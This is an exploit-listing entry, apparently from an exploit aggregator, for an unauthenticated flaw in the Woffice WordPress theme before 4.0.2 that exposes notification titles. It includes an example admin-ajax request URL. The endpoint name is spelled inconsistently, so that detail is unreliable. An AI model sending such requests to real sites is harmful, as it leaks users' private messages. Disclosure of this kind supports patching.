Exploit for Woffice < 4.0.2 - Unauthenticated Disclosure of Notification Titles

Name: Exploit for Woffice < 4.0.2 - Unauthenticated Disclosure of Notification Titles
Rating: 5 (81 reviews)

2021-08-26 | CVSS 0.8

## https://sploitus.com/exploit?id=WPEX-ID:6B6DAE5B-C239-402C-8204-1107D6AAE375
Any request to the wofficeNotificationGet ajax endpoint will return titles of notifications sent between users. 
Example: https://example.com/wp-admin/admin-ajax.php?action=wofficeNoticationsGet